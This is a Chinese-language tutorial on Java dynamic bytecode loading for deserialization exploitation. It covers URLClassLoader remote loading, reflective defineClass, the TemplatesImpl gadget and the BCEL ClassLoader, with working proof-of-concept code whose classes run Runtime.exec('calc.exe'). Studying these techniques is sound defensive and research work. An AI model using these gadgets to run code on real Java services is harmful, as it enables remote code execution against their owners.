关于java中动态加载字节码的多种方法
在反序列化漏洞中;经常会遇到TemplatesImpl
或BCEL
相关的代码,它们就是用来动态加载恶意字节码执行任意命令的;
以及理解这些机制也是理解内存马工作原理的基础;以及可以深入地理解Java类加载机制和JVM的灵活性
首先先说一个概念:什么是字节码;狭义上来说就是编译后生成的.class里的内容,这些是一些jvm指令集;
广义上来说:字节码是指任何能够被JVM恢复成一个类并加载在内存中执行的字节序列;
这包括:
1.标准的.class文件内容;
2.经过特殊处理或编码的字节序列(如BCEL格式);
3.运行时动态生成的字节码;
关键点:在于攻击者可以构造恶意的"广义字节码"让jvm加载执行,从而达到非预期效果;
工作流程:loadClass -> findClass -> defineClass(最终将字节码转换为Class对象)
下面用一张图解释整个流程
从流程中我们知道
loadClass 是加载的入口;作用加载类缓存,从父类中寻找类(也就说说如果类缓存中没有类,就会使用双亲委派机制让父类加载器优先加载类)如果父类加载器的缓存中也没有类,就会调用findClass寻找类;
findClass:作用是从URL路径(本地路径,JAR包,远程服务器等)中寻找类,并加载类的字节码,然后交给defineClass
defineClass:处理字节码,将字节码转换成类
1.利用URLClassLoader加载远程class文件
原理:java的默认类加载器(APPClassLoader)的父类是URLClassLoader,他可以从指定的URL路径(本地路径,JAR包,远程服务器等)加载类,
攻击向量:攻击者可以控制URLClassLoader加载的基础路径(URL[])为一个攻击者可控的HTTP服务器,那么就能让目标JVM加载并执行远程服务器上的恶意.class
文件;常见攻击方式如 jndi注入,rmi加载等
利用条件:
1依赖协议:如http,https,file,ftp,jar,jndi,rmi协议
2.目标出网
3,.加载的是标准的、完整的.class
文件
测试
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class HelloClassLoader {
public static void main(String[] args) {
try {
URL[] urls = new URL[] { new URL("http://localhost:8080/") };
URLClassLoader cl = new URLClassLoader(urls);
Class<?> cls = cl.loadClass("Hello");
cls.newInstance();
} catch (MalformedURLException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (InstantiationException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
}
//Hello.java 恶意类
import java.lang.reflect.Method;
public class Hello {
public Hello() {
System.out.println("Constructor: Hello World!");
}
static {
System.out.println("Static block: Hello World!");
try {
Class clazz = Class.forName("java.lang.Runtime");
Method method = clazz.getMethod("getRuntime");
Runtime runtime = (Runtime) method.invoke(clazz);
runtime.exec("calc.exe");
}catch (Exception e) {
e.printStackTrace();
}
}
}
可以看到已经加载了Hello.class的"jvm字节码";注意这里需要把要执行的代码放在静态代码块或者构造函数中;
放在静态代码:"类初始化"会加载static中的内容(换句话说就是程序执行前加载
放在构造函数:因为代码中调用了无参构造cls.newInstance();不放在静态代码块的话必须放到无参构造函数中;
2.利用ClassLoader.defineClass()直接加载字节码;
原理:类加载的核心最终是defineClass
这个protected native
方法。他负责将原始的字节数组(byte[])转换成JVM内部的Class对象。
流程位置:在 findClass 位置,findClass
方法通常会调用defineClass
来处理找到的字节码;如果我们可以直接控制defineClass
;不就可以直接加载字节码了吗?
但有个问题是这个方法是protected属性,怎么办,无妨可以通过反射突破访问限制(setAccessible(true))
攻击向量:通过反射强行调用definClass
代码
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
public class defineClasstest {
public static void main(String[] args) throws Exception {
ClassLoader cl= ClassLoader.getSystemClassLoader();
Method defineClass= ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
//反射获取defineClass方法
defineClass.setAccessible(true);//突破访问限制
byte[] code= Files.readAllBytes(Paths.get("Hello.class"));//从文件中加载,加载恶意字节码
Class<?> cls=(Class<?>) defineClass.invoke(cl,"Hello",code,0,code.length);
//调用defineClass方法加载code
cls.newInstance();
}
}
利用条件:defineClass
只负责加载和链接类,不会执行类的初始化(静态块、静态变量初始化)或构造函数。要执行代码,必须显式调用newInstance()
或调用静态方法,进行"代码初始化"才可以执行,。因此要进行远程代码执行;需要想办法调用目标机器的构造函数才可以;
在实际场景中;直接反射调用defineClass
比较少见,因为需要先有反射能力,且容易受安全管理器限制;但它是最底层的基石。
更常见的是利用本身调用了defineClass
的、且调用方式可被外部控制的类。这就是TemplatesImpl
的攻击链出现的原因
3.利用TemplatesImpl加载字节码
虽然defineClass方法不能直接利用,但还是有一些外部类调用了这个方法;经典就是TemplatesImpl类
原理:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类内部有一个 TransletClassLoader
。
TransletClassLoader
重写了defineClass
方法,并且没有显式声明作用域。在Java中,这意味着它是default
(包私有)作用域。
关键的TemplatesImpl
方法(newTransformer()
, getOutputProperties()
)是public
的。它们最终会调用到TransletClassLoader.defineClass()
来加载存储在TemplatesImpl
对象内部的字节码(_bytecodes
属性)。
可以看到在TemplatesImpl的加载器TransletClassLoader中重写defineClass方法;没有显示声明作用域这意味着它是default
;可以被外类调用
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
我们回溯回溯一下调用链
attacker calls -> TemplatesImpl.getOutputProperties() [public]
-> TemplatesImpl.newTransformer() [public]
-> TemplatesImpl.getTransletInstance() [private]
-> TemplatesImpl.defineTransletClasses() [private]
-> (new TransletClassLoader()).defineClass(byte[] b) [default]
发现TemplatesImpl.newTransformer()和 TemplatesImpl.newTransformer() 他们的作用域是public可以被外部调用
构造TemplatesImpl.newTransformer()链的poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import sun.reflect.generics.reflectiveObjects.ParameterizedTypeImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TemplatesImpltest {
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer();
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
// 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(fieldName);
}
field.setAccessible(true);
field.set(obj, value);
}
}
但这里是不能直接运行的
原因是在代码defineTransletClasses()中存在一些安全限制,导致必须AbstractTranslet的子类,字节码才可以被正常加载
private void defineTransletClasses() throws TransformerConfigurationException {
// 加载字节码的代码]
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// 关键检查点:必须是AbstractTranslet的子类
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
} else {
// 如果不是AbstractTranslet的子类,则抛出异常
throw new TransformerConfigurationException("Class is not a translet");
}
}
// ... [后续处理] ...
}
因此需要对恶意类进行构造一下
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method;
public class evil extends AbstractTranslet {
public evil() {
System.out.println("Constructor: Hello World!");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
static {
System.out.println("Static block: Hello World!");
try {
Class clazz = Class.forName("java.lang.Runtime");
Method method = clazz.getMethod("getRuntime");
Runtime runtime = (Runtime) method.invoke(clazz);
runtime.exec("calc.exe");
}catch (Exception e) {
e.printStackTrace();
}
}
}
可以看到顺利执行了;
顺带一题,关于 TemplatesImpl加载恶意字节码在java反序列化的漏洞利用链中以及fastjson、.jackson的漏洞中,都曾出现过TemplatesImpl的身影;
4.利用BCEL ClassLoader加载字节码
备注
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为
被Apache Xalan所使用,而Apache Xalan又是ava内部对于刊AXP的实现,所以BCEL也被包含在了JDK的
原生库中。
关于BCEL的详细介绍,请阅读p牛写的另一篇文章《BCEL ClassLoader去哪了》,
建议阅读完这篇文章
再来阅读本文。
原理:BCEL (Apache Commons BCEL) 提供了一套操作字节码的库。它定义了一种特殊的字符串格式来表示类(通常以$$BCEL$$
开头),这种格式包含了原始字节码的编码
攻击向量:生成BCEL字节码字符串: 使用BCEL的Repository或Utility类将标准的.class文件字节码(byte[])转换成BCEL格式的特殊字符串。
Repository:用于将一个Java Class先转换成原生字节码,
Utility:用于将原生的字节码转换成BCL格式的字节码:
生成bcel字节码
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
public class BCELtest {
public static void main(String[] args) throws Exception {
JavaClass clazz = Repository.lookupClass(evil.class);
String bcelcode=Utility.encode(clazz.getBytes(),true);
System.out.println(bcelcode);
}
}
最后经过一些测试发现bcel的Classloader需要版本在6,7左右才可以解析;且恶意类有时候需要在版本冲突时依赖可能无法导入解析,就比如evil我导入了AbstractTranslet
导致
java.lang.NoClassDefFoundError:
com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet;因此考虑使用不依赖 AbstractTranslet
的版本
package org.com.cc6;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class BCELtest {
public static void main(String[] args) throws Exception {
JavaClass clazz = Repository.lookupClass(EEvil.class);
// 2. 转换为BCEL编码格式(必须添加前缀)
String bcelcode = "$$BCEL$$" + Utility.encode(clazz.getBytes(), true);
System.out.println( bcelcode);
new ClassLoader().loadClass(bcelcode).newInstance();
// Class<?> clazz1 = loader.loadClass(bcelcode);
// clazz1.newInstance();
}
}
//EEvil.java
package org.com.cc6;
public class EEvil {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {}
}
}
参考
p牛知识星球->代码审计->java系列文章
p牛的《BCEL ClassLoader去哪了》:https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
;